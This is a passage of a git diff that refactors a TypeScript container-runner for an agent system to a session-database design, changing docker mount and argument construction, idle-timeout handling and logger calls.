args.push('-v', `${mount.hostPath}:${mount.containerPath}`); - } - } - - // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) - args.push('--entrypoint', 'bash'); - args.push(CONTAINER_IMAGE); - args.push( - '-c', - 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index-v2.js', - ); - - return args; -} diff --git a/src/container-runner.ts b/src/container-runner.ts index b04cc28..cdbfadc 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -1,150 +1,165 @@ /** - * Container Runner for NanoClaw - * Spawns agent execution in containers and handles IPC + * Container Runner v2 + * Spawns agent containers with session folder + agent group folder mounts. + * The container runs the v2 agent-runner which polls the session DB. */ import { ChildProcess, spawn } from 'child_process'; import fs from 'fs'; import path from 'path'; -import { - CONTAINER_IMAGE, - CONTAINER_MAX_OUTPUT_SIZE, - CONTAINER_TIMEOUT, - DATA_DIR, - GROUPS_DIR, - IDLE_TIMEOUT, - ONECLI_URL, - TIMEZONE, -} from './config.js'; -import { resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; -import { logger } from './logger.js'; -import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; import { OneCLI } from '@onecli-sh/sdk'; + +import { CONTAINER_IMAGE, DATA_DIR, GROUPS_DIR, IDLE_TIMEOUT, ONECLI_URL, TIMEZONE } from './config.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; +import { getAgentGroup } from './db/agent-groups.js'; +import { getMessagingGroup } from './db/messaging-groups.js'; +import { log } from './log.js'; import { validateAdditionalMounts } from './mount-security.js'; -import { RegisteredGroup } from './types.js'; +import { + markContainerIdle, + markContainerRunning, + markContainerStopped, + sessionDbPath, + sessionDir, +} from './session-manager.js'; +import type { AgentGroup, Session } from './types.js'; const onecli = new OneCLI({ url: ONECLI_URL }); -// Sentinel markers for robust output parsing (must match agent-runner) -const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; -const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; - -export interface ContainerInput { - prompt: string; - sessionId?: string; - groupFolder: string; - chatJid: string; - isMain: boolean; - isScheduledTask?: boolean; - assistantName?: string; - script?: string; -} - -export interface ContainerOutput { - status: 'success' | 'error'; - result: string | null; - newSessionId?: string; - error?: string; -} - interface VolumeMount { hostPath: string; containerPath: string; readonly: boolean; } -function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount[] { - const mounts: VolumeMount[] = []; - const projectRoot = process.cwd(); - const groupDir = resolveGroupFolderPath(group.folder); +/** Active containers tracked by session ID. */ +const activeContainers = new Map(); - if (isMain) { - // Main gets the project root read-only. Writable paths the agent needs - // (store, group folder, IPC, .claude/) are mounted separately below. - // Read-only prevents the agent from modifying host application code - // (src/, dist/, package.json, etc.) which would bypass the sandbox - // entirely on next restart. - mounts.push({ - hostPath: projectRoot, - containerPath: '/workspace/project', - readonly: true, - }); +export function getActiveContainerCount(): number { + return activeContainers.size; +} - // Shadow .env so the agent cannot read secrets from the mounted project root. - // Credentials are injected by the OneCLI gateway, never exposed to containers. - const envFile = path.join(projectRoot, '.env'); - if (fs.existsSync(envFile)) { - mounts.push({ - hostPath: '/dev/null', - containerPath: '/workspace/project/.env', - readonly: true, - }); - } +export function isContainerRunning(sessionId: string): boolean { + return activeContainers.has(sessionId); +} - // Main gets writable access to the store (SQLite DB) so it can - // query and write to the database directly. - const storeDir = path.join(projectRoot, 'store'); - mounts.push({ - hostPath: storeDir, - containerPath: '/workspace/project/store', - readonly: false, - }); - - // Main also gets its group folder as the working directory - mounts.push({ - hostPath: groupDir, - containerPath: '/workspace/group', - readonly: false, - }); - - // Global memory directory — writable for main so it can update shared context - const globalDir = path.join(GROUPS_DIR, 'global'); - if (fs.existsSync(globalDir)) { - mounts.push({ - hostPath: globalDir, - containerPath: '/workspace/global', - readonly: false, - }); - } - } else { - // Other groups only get their own folder - mounts.push({ - hostPath: groupDir, - containerPath: '/workspace/group', - readonly: false, - }); - - // Global memory directory (read-only for non-main) - // Only directory mounts are supported, not file mounts - const globalDir = path.join(GROUPS_DIR, 'global'); - if (fs.existsSync(globalDir)) { - mounts.push({ - hostPath: globalDir, - containerPath: '/workspace/global', - readonly: true, - }); - } +/** + * Wake up a container for a session. If already running, no-op. + * The container runs the v2 agent-runner which polls the session DB. + */ +export async function wakeContainer(session: Session): Promise { + if (activeContainers.has(session.id)) { + log.debug('Container already running', { sessionId: session.id }); + return; } - // Per-group Claude sessions directory (isolated from other groups) - // Each group gets their own .claude/ to prevent cross-group session access - const groupSessionsDir = path.join(DATA_DIR, 'sessions', group.folder, '.claude'); - fs.mkdirSync(groupSessionsDir, { recursive: true }); - const settingsFile = path.join(groupSessionsDir, 'settings.json'); + const agentGroup = getAgentGroup(session.agent_group_id); + if (!agentGroup) { + log.error('Agent group not found', { agentGroupId: session.agent_group_id }); + return; + } + + const mounts = buildMounts(agentGroup, session); + const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; + const agentIdentifier = agentGroup.is_admin ? undefined : agentGroup.folder.toLowerCase().replace(/_/g, '-'); + const args = await buildContainerArgs(mounts, containerName, session, agentGroup, agentIdentifier); + + log.info('Spawning container', { sessionId: session.id, agentGroup: agentGroup.name, containerName }); + + const container = spawn(CONTAINER_RUNTIME_BIN, args, { stdio: ['ignore', 'pipe', 'pipe'] }); + + activeContainers.set(session.id, { process: container, containerName }); + markContainerRunning(session.id); + + // Log stderr + container.stderr?.on('data', (data) => { + for (const line of data.toString().trim().split('\n')) { + if (line) log.debug(line, { container: agentGroup.folder }); + } + }); + + // stdout is unused in v2 (all IO is via session DB) + container.stdout?.on('data', () => {}); + + // Idle timeout: kill container after IDLE_TIMEOUT of no activity + let idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + + const resetIdle = () => { + clearTimeout(idleTimer); + idleTimer = setTimeout(() => killContainer(session.id, 'idle timeout'), IDLE_TIMEOUT); + }; + + // Reset idle timer when the host detects new messages_out (called by delivery.ts) + const entry = activeContainers.get(session.id); + if (entry) { + (entry as { resetIdle?: () => void }).resetIdle = resetIdle; + } + + container.on('close', (code) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.info('Container exited', { sessionId: session.id, code, containerName }); + }); + + container.on('error', (err) => { + clearTimeout(idleTimer); + activeContainers.delete(session.id); + markContainerStopped(session.id); + log.error('Container spawn error', { sessionId: session.id, err }); + }); +} + +/** Reset the idle timer for a session's container (called when messages_out are delivered). */ +export function resetContainerIdleTimer(sessionId: string): void { + const entry = activeContainers.get(sessionId) as { resetIdle?: () => void } | undefined; + entry?.resetIdle?.(); +} + +/** Kill a container for a session. */ +export function killContainer(sessionId: string, reason: string): void { + const entry = activeContainers.get(sessionId); + if (!entry) return; + + log.info('Killing container', { sessionId, reason, containerName: entry.containerName }); + try { + stopContainer(entry.containerName); + } catch { + entry.process.kill('SIGKILL'); + } +} + +function buildMounts(agentGroup: AgentGroup, session: Session): VolumeMount[] { + const mounts: VolumeMount[] = []; + const projectRoot = process.cwd(); + const sessDir = sessionDir(agentGroup.id, session.id); + const groupDir = path.resolve(GROUPS_DIR, agentGroup.folder); + + // Session folder at /workspace (contains session.db, outbox/, .claude/) + mounts.push({ hostPath: sessDir, containerPath: '/workspace', readonly: false }); + + // Agent group folder at /workspace/agent + fs.mkdirSync(groupDir, { recursive: true }); + mounts.push({ hostPath: groupDir, containerPath: '/workspace/agent', readonly: false }); + + // Global memory directory + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ hostPath: globalDir, containerPath: '/workspace/global', readonly: !agentGroup.is_admin }); + } + + // Claude sessions directory (per agent group, shared across sessions) + const claudeDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, '.claude-shared'); + fs.mkdirSync(claudeDir, { recursive: true }); + const settingsFile = path.join(claudeDir, 'settings.json'); if (!fs.existsSync(settingsFile)) { fs.writeFileSync( settingsFile, JSON.stringify( { env: { - // Enable agent swarms (subagent orchestration) - // https://code.claude.com/docs/en/agent-teams#orchestrate-teams-of-claude-code-sessions CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', - // Load CLAUDE.md from additional mounted directories - // https://code.claude.com/docs/en/memory#load-memory-from-additional-directories CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', - // Enable Claude's memory feature (persists user preferences between sessions) - // https://code.claude.com/docs/en/memory#manage-auto-memory CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', }, }, @@ -154,61 +169,46 @@ function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount ); } - // Sync skills from container/skills/ into each group's .claude/skills/ - const skillsSrc = path.join(process.cwd(), 'container', 'skills'); - const skillsDst = path.join(groupSessionsDir, 'skills'); + // Sync container skills + const skillsSrc = path.join(projectRoot, 'container', 'skills'); + const skillsDst = path.join(claudeDir, 'skills'); if (fs.existsSync(skillsSrc)) { for (const skillDir of fs.readdirSync(skillsSrc)) { const srcDir = path.join(skillsSrc, skillDir); - if (!fs.statSync(srcDir).isDirectory()) continue; - const dstDir = path.join(skillsDst, skillDir); - fs.cpSync(srcDir, dstDir, { recursive: true }); + if (fs.statSync(srcDir).isDirectory()) { + fs.cpSync(srcDir, path.join(skillsDst, skillDir), { recursive: true }); + } } } - mounts.push({ - hostPath: groupSessionsDir, - containerPath: '/home/node/.claude', - readonly: false, - }); + mounts.push({ hostPath: claudeDir, containerPath: '/home/node/.claude', readonly: false }); - // Per-group IPC namespace: each group gets its own IPC directory - // This prevents cross-group privilege escalation via IPC - const groupIpcDir = resolveGroupIpcPath(group.folder); - fs.mkdirSync(path.join(groupIpcDir, 'messages'), { recursive: true }); - fs.mkdirSync(path.join(groupIpcDir, 'tasks'), { recursive: true }); - fs.mkdirSync(path.join(groupIpcDir, 'input'), { recursive: true }); - mounts.push({ - hostPath: groupIpcDir, - containerPath: '/workspace/ipc', - readonly: false, - }); - - // Copy agent-runner source into a per-group writable location so agents - // can customize it (add tools, change behavior) without affecting other - // groups. Recompiled on container startup via entrypoint.sh. + // Agent-runner source (per agent group, recompiled on container startup) const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); - const groupAgentRunnerDir = path.join(DATA_DIR, 'sessions', group.folder, 'agent-runner-src'); + const groupRunnerDir = path.join(DATA_DIR, 'v2-sessions', agentGroup.id, 'agent-runner-src'); if (fs.existsSync(agentRunnerSrc)) { - const srcIndex = path.join(agentRunnerSrc, 'index.ts'); - const cachedIndex = path.join(groupAgentRunnerDir, 'index.ts'); - const needsCopy = - !fs.existsSync(groupAgentRunnerDir) || - !fs.existsSync(cachedIndex) || - (fs.existsSync(srcIndex) && fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); - if (needsCopy) { - fs.cpSync(agentRunnerSrc, groupAgentRunnerDir, { recursive: true }); + // Always copy — source files may have changed beyond just the index + fs.cpSync(agentRunnerSrc, groupRunnerDir, { recursive: true }); + } + mounts.push({ hostPath: groupRunnerDir, containerPath: '/app/src', readonly: false }); + + // Admin: mount project root read-only + if (agentGroup.is_admin) { + mounts.push({ hostPath: projectRoot, containerPath: '/workspace/project', readonly: true }); + const envFile = path.join(projectRoot, '.env'); + if (fs.existsSync(envFile)) { + mounts.push({ hostPath: '/dev/null', containerPath: '/workspace/project/.env', readonly: true }); } } - mounts.push({ - hostPath: groupAgentRunnerDir, - containerPath: '/app/src', - readonly: false, - }); - // Additional mounts validated against external allowlist (tamper-proof from containers) - if (group.containerConfig?.additionalMounts) { - const validatedMounts = validateAdditionalMounts(group.containerConfig.additionalMounts, group.name, isMain); - mounts.push(...validatedMounts); + // Additional mounts from container config + const containerConfig = agentGroup.container_config ? JSON.parse(agentGroup.container_config) : {}; + if (containerConfig.additionalMounts) { + const validated = validateAdditionalMounts( + containerConfig.additionalMounts, + agentGroup.name, + !!agentGroup.is_admin, + ); + mounts.push(...validated); } return mounts; @@ -217,31 +217,38 @@ function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount async function buildContainerArgs( mounts: VolumeMount[], containerName: string, + session: Session, + agentGroup: AgentGroup, agentIdentifier?: string, ): Promise { - const args: string[] = ['run', '-i', '--rm', '--name', containerName]; + const args: string[] = ['run', '--rm', '--name', containerName]; - // Pass host timezone so container's local time matches the user's + // Environment args.push('-e', `TZ=${TIMEZONE}`); + args.push('-e', `AGENT_PROVIDER=${session.agent_provider || agentGroup.agent_provider || 'claude'}`); + args.push('-e', `SESSION_DB_PATH=/workspace/session.db`); - // OneCLI gateway handles credential injection — containers never see real secrets. - // The gateway intercepts HTTPS traffic and injects API keys or OAuth tokens. - const onecliApplied = await onecli.applyContainerConfig(args, { - addHostMapping: false, // Nanoclaw already handles host gateway - agent: agentIdentifier, - }); - if (onecliApplied) { - logger.info({ containerName }, 'OneCLI gateway config applied'); - } else { - logger.warn({ containerName }, 'OneCLI gateway not reachable — container will have no credentials'); + // Pass admin user ID and assistant name from messaging group/agent group + if (session.messaging_group_id) { + const mg = getMessagingGroup(session.messaging_group_id); + if (mg?.admin_user_id) { + args.push('-e', `NANOCLAW_ADMIN_USER_ID=${mg.admin_user_id}`); + } + } + if (agentGroup.name) { + args.push('-e', `NANOCLAW_ASSISTANT_NAME=${agentGroup.name}`); } - // Runtime-specific args for host gateway resolution + // OneCLI gateway + const onecliApplied = await onecli.applyContainerConfig(args, { addHostMapping: false, agent: agentIdentifier }); + if (onecliApplied) { + log.debug('OneCLI gateway applied', { containerName }); + } + + // Host gateway args.push(...hostGatewayArgs()); - // Run as host user so bind-mounted files are accessible. - // Skip when running as root (uid 0), as the container's node user (uid 1000), - // or when getuid is unavailable (native Windows without WSL). + // User mapping const hostUid = process.getuid?.(); const hostGid = process.getgid?.(); if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { @@ -249,6 +256,7 @@ async function buildContainerArgs( args.push('-e', 'HOME=/home/node'); } + // Volume mounts for (const mount of mounts) { if (mount.readonly) { args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); @@ -257,421 +265,13 @@ async function buildContainerArgs( } } + // Override entrypoint: compile agent-runner source, run v2 entry point (no stdin) + args.push('--entrypoint', 'bash'); args.push(CONTAINER_IMAGE); + args.push( + '-c', + 'cd /app && npx tsc --outDir /tmp/dist 2>&1 >&2 && ln -sf /app/node_modules /tmp/dist/node_modules && node /tmp/dist/index.js', + ); return args; } - -export async function runContainerAgent( - group: RegisteredGroup, - input: ContainerInput, - onProcess: (proc: ChildProcess, containerName: string) => void, - onOutput?: (output: ContainerOutput) => Promise, -): Promise { - const startTime = Date.now(); - - const groupDir = resolveGroupFolderPath(group.folder); - fs.mkdirSync(groupDir, { recursive: true }); - - const mounts = buildVolumeMounts(group, input.isMain); - const safeName = group.folder.replace(/[^a-zA-Z0-9-]/g, '-'); - const containerName = `nanoclaw-${safeName}-${Date.now()}`; - // Main group uses the default OneCLI agent; others use their own agent. - const agentIdentifier = input.isMain ? undefined : group.folder.toLowerCase().replace(/_/g, '-'); - const containerArgs = await buildContainerArgs(mounts, containerName, agentIdentifier); - - logger.debug( - { - group: group.name, - containerName, - mounts: mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`), - containerArgs: containerArgs.join(' '), - }, - 'Container mount configuration', - ); - - logger.info( - { - group: group.name, - containerName, - mountCount: mounts.length, - isMain: input.isMain, - }, - 'Spawning container agent', - ); - - const logsDir = path.join(groupDir, 'logs'); - fs.mkdirSync(logsDir, { recursive: true }); - - return new Promise((resolve) => { - const container = spawn(CONTAINER_RUNTIME_BIN, containerArgs, { - stdio: ['pipe', 'pipe', 'pipe'], - }); - - onProcess(container, containerName); - - let stdout = ''; - let stderr = ''; - let stdoutTruncated = false; - let stderrTruncated = false; - - container.stdin.write(JSON.stringify(input)); - container.stdin.end(); - - // Streaming output: parse OUTPUT_START/END marker pairs as they arrive - let parseBuffer = ''; - let newSessionId: string | undefined; - let outputChain = Promise.resolve(); - - container.stdout.on('data', (data) => { - const chunk = data.toString(); - - // Always accumulate for logging - if (!stdoutTruncated) { - const remaining = CONTAINER_MAX_OUTPUT_SIZE - stdout.length; - if (chunk.length > remaining) { - stdout += chunk.slice(0, remaining); - stdoutTruncated = true; - logger.warn({ group: group.name, size: stdout.length }, 'Container stdout truncated due to size limit'); - } else { - stdout += chunk; - } - } - - // Stream-parse for output markers - if (onOutput) { - parseBuffer += chunk; - let startIdx: number; - while ((startIdx = parseBuffer.indexOf(OUTPUT_START_MARKER)) !== -1) { - const endIdx = parseBuffer.indexOf(OUTPUT_END_MARKER, startIdx); - if (endIdx === -1) break; // Incomplete pair, wait for more data - - const jsonStr = parseBuffer.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); - parseBuffer = parseBuffer.slice(endIdx + OUTPUT_END_MARKER.length); - - try { - const parsed: ContainerOutput = JSON.parse(jsonStr); - if (parsed.newSessionId) { - newSessionId = parsed.newSessionId; - } - hadStreamingOutput = true; - // Activity detected — reset the hard timeout - resetTimeout(); - // Call onOutput for all markers (including null results) - // so idle timers start even for "silent" query completions. - outputChain = outputChain.then(() => onOutput(parsed)); - } catch (err) { - logger.warn({ group: group.name, error: err }, 'Failed to parse streamed output chunk'); - } - } - } - }); - - container.stderr.on('data', (data) => { - const chunk = data.toString(); - const lines = chunk.trim().split('\n'); - for (const line of lines) { - if (line) logger.debug({ container: group.folder }, line); - } - // Don't reset timeout on stderr — SDK writes debug logs continuously. - // Timeout only resets on actual output (OUTPUT_MARKER in stdout). - if (stderrTruncated) return; - const remaining = CONTAINER_MAX_OUTPUT_SIZE - stderr.length; - if (chunk.length > remaining) { - stderr += chunk.slice(0, remaining); - stderrTruncated = true; - logger.warn({ group: group.name, size: stderr.length }, 'Container stderr truncated due to size limit'); - } else { - stderr += chunk; - } - }); - - let timedOut = false; - let hadStreamingOutput = false; - const configTimeout = group.containerConfig?.timeout || CONTAINER_TIMEOUT; - // Grace period: hard timeout must be at least IDLE_TIMEOUT + 30s so the - // graceful _close sentinel has time to trigger before the hard kill fires. - const timeoutMs = Math.max(configTimeout, IDLE_TIMEOUT + 30_000); - - const killOnTimeout = () => { - timedOut = true; - logger.error({ group: group.name, containerName }, 'Container timeout, stopping gracefully'); - try { - stopContainer(containerName); - } catch (err) { - logger.warn({ group: group.name, containerName, err }, 'Graceful stop failed, force killing'); - container.kill('SIGKILL'); - } - }; - - let timeout = setTimeout(killOnTimeout, timeoutMs); - - // Reset the timeout whenever there's activity (streaming output) - const resetTimeout = () => { - clearTimeout(timeout); - timeout = setTimeout(killOnTimeout, timeoutMs); - }; - - container.on('close', (code) => { - clearTimeout(timeout); - const duration = Date.now() - startTime; - - if (timedOut) { - const ts = new Date().toISOString().replace(/[:.]/g, '-'); - const timeoutLog = path.join(logsDir, `container-${ts}.log`); - fs.writeFileSync( - timeoutLog, - [ - `=== Container Run Log (TIMEOUT) ===`, - `Timestamp: ${new Date().toISOString()}`, - `Group: ${group.name}`, - `Container: ${containerName}`, - `Duration: ${duration}ms`, - `Exit Code: ${code}`, - `Had Streaming Output: ${hadStreamingOutput}`, - ].join('\n'), - ); - - // Timeout after output = idle cleanup, not failure. - // The agent already sent its response; this is just the - // container being reaped after the idle period expired. - if (hadStreamingOutput) { - logger.info( - { group: group.name, containerName, duration, code }, - 'Container timed out after output (idle cleanup)', - ); - outputChain.then(() => { - resolve({ - status: 'success', - result: null, - newSessionId, - }); - }); - return; - } - - logger.error({ group: group.name, containerName, duration, code }, 'Container timed out with no output'); - - resolve({ - status: 'error', - result: null, - error: `Container timed out after ${configTimeout}ms`, - }); - return; - } - - const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); - const logFile = path.join(logsDir, `container-${timestamp}.log`); - const isVerbose = process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; - - const logLines = [ - `=== Container Run Log ===`, - `Timestamp: ${new Date().toISOString()}`, - `Group: ${group.name}`, - `IsMain: ${input.isMain}`, - `Duration: ${duration}ms`, - `Exit Code: ${code}`, - `Stdout Truncated: ${stdoutTruncated}`, - `Stderr Truncated: ${stderrTruncated}`, - ``, - ]; - - const isError = code !== 0; - - if (isVerbose || isError) { - // On error, log input metadata only — not the full prompt. - // Full input is only included at verbose level to avoid - // persisting user conversation content on every non-zero exit. - if (isVerbose) { - logLines.push(`=== Input ===`, JSON.stringify(input, null, 2), ``); - } else { - logLines.push( - `=== Input Summary ===`, - `Prompt length: ${input.prompt.length} chars`, - `Session ID: ${input.sessionId || 'new'}`, - ``, - ); - } - logLines.push( - `=== Container Args ===`, - containerArgs.join(' '), - ``, - `=== Mounts ===`, - mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), - ``, - `=== Stderr${stderrTruncated ? ' (TRUNCATED)' : ''} ===`, - stderr, - ``, - `=== Stdout${stdoutTruncated ? ' (TRUNCATED)' : ''} ===`, - stdout, - ); - } else { - logLines.push( - `=== Input Summary ===`, - `Prompt length: ${input.prompt.length} chars`, - `Session ID: ${input.sessionId || 'new'}`, - ``, - `=== Mounts ===`, - mounts.map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), - ``, - ); - } - - fs.writeFileSync(logFile, logLines.join('\n')); - logger.debug({ logFile, verbose: isVerbose }, 'Container log written'); - - if (code !== 0) { - logger.error( - { - group: group.name, - code, - duration, - stderr, - stdout, - logFile, - }, - 'Container exited with error', - ); - - resolve({ - status: 'error', - result: null, - error: `Container exited with code ${code}: ${stderr.slice(-200)}`, - }); - return; - } - - // Streaming mode: wait for output chain to settle, return completion marker - if (onOutput) { - outputChain.then(() => { - logger.info({ group: group.name, duration, newSessionId }, 'Container completed (streaming mode)'); - resolve({ - status: 'success', - result: null, - newSessionId, - }); - }); - return; - } - - // Legacy mode: parse the last output marker pair from accumulated stdout - try { - // Extract JSON between sentinel markers for robust parsing - const startIdx = stdout.indexOf(OUTPUT_START_MARKER); - const endIdx = stdout.indexOf(OUTPUT_END_MARKER); - - let jsonLine: string; - if (startIdx !== -1 && endIdx !== -1 && endIdx > startIdx) { - jsonLine = stdout.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); - } else { - // Fallback: last non-empty line (backwards compatibility) - const lines = stdout.trim().split('\n'); - jsonLine = lines[lines.length - 1]; - } - - const output: ContainerOutput = JSON.parse(jsonLine); - - logger.info( - { - group: group.name, - duration, - status: output.status, - hasResult: !!output.result, - }, - 'Container completed', - ); - - resolve(output); - } catch (err) { - logger.error( - { - group: group.name, - stdout, - stderr, - error: err, - }, - 'Failed to parse container output', - ); - - resolve({ - status: 'error', - result: null, - error: `Failed to parse container output: ${err instanceof Error ? err.message : String(err)}`, - }); - } - }); - - container.on('error', (err) => { - clearTimeout(timeout); - logger.error({ group: group.name, containerName, error: err }, 'Container spawn error'); - resolve({ - status: 'error', - result: null, - error: `Container spawn error: ${err.message}`, - }); - }); - }); -} - -export function writeTasksSnapshot( - groupFolder: string, - isMain: boolean, - tasks: Array<{ - id: string; - groupFolder: string; - prompt: string; - script?: string | null; - schedule_type: string; - schedule_value: string; - status: string; - next_run: string | null; - }>, -): void { - // Write filtered tasks to the group's IPC directory - const groupIpcDir = resolveGroupIpcPath(groupFolder); - fs.mkdirSync(groupIpcDir, { recursive: true }); - - // Main sees all tasks, others only see their own - const filteredTasks = isMain ? tasks : tasks.filter((t) => t.groupFolder === groupFolder); - - const tasksFile = path.join(groupIpcDir, 'current_tasks.json'); - fs.writeFileSync(tasksFile, JSON.stringify(filteredTasks, null, 2)); -} - -export interface AvailableGroup { - jid: string; - name: string; - lastActivity: string; - isRegistered: boolean; -} - -/** - * Write available groups snapshot for the container to read. - * Only main group can see all available groups (for activation). - * Non-main groups only see their own registration status. - */ -export function writeGroupsSnapshot( - groupFolder: string, - isMain: boolean, - groups: AvailableGroup[], - _registeredJids: Set, -): void { - const groupIpcDir = resolveGroupIpcPath(groupFolder); - fs.mkdirSync(groupIpcDir, { recursive: true }); - - // Main sees all groups; others see nothing (they can't activate groups) - const visibleGroups = isMain ? groups : []; - - const groupsFile = path.join(groupIpcDir, 'available_groups.json'); - fs.writeFileSync( - groupsFile, - JSON.stringify( - { - groups: visibleGroups, - lastSync: new Date().toISOString(), - }, - null, - 2, - ), - ); -} diff --git a/src/container-runtime.test.ts b/src/container-runtime.test.ts index 94e14e9..80eb46e 100644 --- a/src/container-runtime.test.ts +++ b/src/container-runtime.test.ts @@ -1,12 +1,13 @@ import { describe, it, expect, vi, beforeEach } from 'vitest'; -// Mock logger -vi.mock('./logger.js', () => ({ - logger: { +// Mock log +vi.mock('./log.js', () => ({ + log: { debug: vi.fn(), info: vi.fn(), warn: vi.fn(), error: vi.fn(), + fatal: vi.fn(), }, })); @@ -23,7 +24,7 @@ import { ensureContainerRuntimeRunning, cleanupOrphans, } from './container-runtime.js'; -import { logger } from './logger.js'; +import { log } from './log.js'; beforeEach(() => { vi.clearAllMocks(); @@ -67,7 +68,7 @@ describe('ensureContainerRuntimeRunning', () => { stdio: 'pipe', timeout: 10000, }); - expect(logger.debug).toHaveBeenCalledWith('Container runtime already running'); + expect(log.debug).toHaveBeenCalledWith('Container runtime already running'); }); it('throws when docker info fails', () => { @@ -76,7 +77,7 @@ describe('ensureContainerRuntimeRunning', () => { }); expect(() => ensureContainerRuntimeRunning()).toThrow('Container runtime is required but failed to start'); - expect(logger.error).toHaveBeenCalled(); + expect(log.error).toHaveBeenCalled(); }); }); @@ -99,9 +100,9 @@ describe('cleanupOrphans', () => { expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { stdio: 'pipe', }); - expect(logger.info).toHaveBeenCalledWith( - { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, + expect(log.info).toHaveBeenCalledWith( 'Stopped orphaned containers', + { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, ); }); @@ -111,7 +112,7 @@ describe('cleanupOrphans', () => { cleanupOrphans(); expect(mockExecSync).toHaveBeenCalledTimes(1); - expect(logger.info).not.toHaveBeenCalled(); + expect(log.info).not.toHaveBeenCalled(); }); it('warns and continues when ps fails', () => { @@ -121,9 +122,9 @@ describe('cleanupOrphans', () => { cleanupOrphans(); // should not throw - expect(logger.warn).toHaveBeenCalledWith( - expect.objectContaining({ err: expect.any(Error) }), + expect(log.warn).toHaveBeenCalledWith( 'Failed to clean up orphaned containers', + expect.objectContaining({ err: expect.any(Error) }), ); }); @@ -139,9 +140,9 @@ describe('cleanupOrphans', () => { cleanupOrphans(); // should not throw expect(mockExecSync).toHaveBeenCalledTimes(3); - expect(logger.info).toHaveBeenCalledWith( - { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, + expect(log.info).toHaveBeenCalledWith( 'Stopped orphaned containers', + { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, ); }); }); diff --git a/src/container-runtime.ts b/src/container-runtime.ts index 678a708..5e68426 100644 --- a/src/container-runtime.ts +++ b/src/container-runtime.ts @@ -5,7 +5,7 @@ import { execSync } from 'child_process'; import os from 'os'; -import { logger } from './logger.js'; +import { log } from './log.js'; /** The container runtime binary name. */ export const CONTAINER_RUNTIME_BIN = 'docker'; @@ -39,9 +39,9 @@ export function ensureContainerRuntimeRunning(): void { stdio: 'pipe', timeout: 10000, }); - logger.debug('Container runtime already running'); + log.debug('Container runtime already running'); } catch (err) { - logger.error({ err }, 'Failed to reach container runtime'); + log.error('Failed to reach container runtime', { err }); console.error('\n╔════════════════════════════════════════════════════════════════╗'); console.error('║ FATAL: Container runtime failed to start ║'); console.error('║ ║'); @@ -72,9 +72,9 @@ export function cleanupOrphans(): void { } } if (orphans.length > 0) { - logger.info({ count: orphans.length, names: orphans }, 'Stopped orphaned containers'); + log.info('Stopped orphaned containers', { count: orphans.length, names: orphans }); } } catch (err) { - logger.warn({ err }, 'Failed to clean up orphaned containers'); + log.warn('Failed to clean up orphaned containers', { err }); } } diff --git a/src/db/agent-groups.ts b/src/db/agent-groups.ts index a306616..6b04e82 100644 --- a/src/db/agent-groups.ts +++ b/src/db/agent-groups.ts @@ -1,4 +1,4 @@ -import type { AgentGroup } from '../types-v2.js'; +import type { AgentGroup } from '../types.js'; import { getDb } from './connection.js'; export function createAgentGroup(group: AgentGroup): void { diff --git a/src/db/messaging-groups.ts b/src/db/messaging-groups.ts index ef3b46c..b7994fc 100644 --- a/src/db/messaging-groups.ts +++ b/src/db/messaging-groups.ts @@ -1,4 +1,4 @@ -import type { MessagingGroup, MessagingGroupAgent } from '../types-v2.js'; +import type { MessagingGroup, MessagingGroupAgent } from '../types.js'; import { getDb } from './connection.js'; // ── Messaging Groups ── diff --git a/src/db/sessions.ts b/src/db/sessions.ts index 57f00b9..c1c9ba5 100644 --- a/src/db/sessions.ts +++ b/src/db/sessions.ts @@ -1,4 +1,4 @@ -import type { PendingQuestion, Session } from '../types-v2.js'; +import type { PendingQuestion, Session } from '../types.js'; import { getDb } from './connection.js'; // ── Sessions ── diff --git a/src/delivery.ts b/src/delivery.ts index 8d1c268..4a020f8 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -10,9 +10,9 @@ import { getRunningSessions, getActiveSessions, createPendingQuestion } from './ import { getAgentGroup } from './db/agent-groups.js'; import { log } from './log.js'; import { openSessionDb, sessionDir } from 